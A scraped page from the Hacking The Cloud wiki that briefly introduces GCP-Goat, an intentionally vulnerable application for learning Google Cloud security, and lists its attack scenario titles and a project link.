md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Joshua Jebaraj</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/capture_the_flag/gcp-goat.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=gcp-goat>GCP Goat<a class=headerlink href=#gcp-goat title="Permanent link">&para;</a></h1> <p>GCP-Goat is the vulnerable application for learning the Google Cloud Security</p> <p>The Application consists of the following scenarios</p> <ul> <li>Attacking Compute Engine</li> <li>Attacking Sql Instance</li> <li>Attacking GKE</li> <li>Attacking GCS</li> <li>Privilege Escalation</li> <li>Privilege Escalation in Compute Engine</li> </ul> <p><a href=https://gcpgoat.joshuajebaraj.com/ >Project-Link</a> </p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 13, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 14, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#gcp-goat class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> GCP Goat </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li 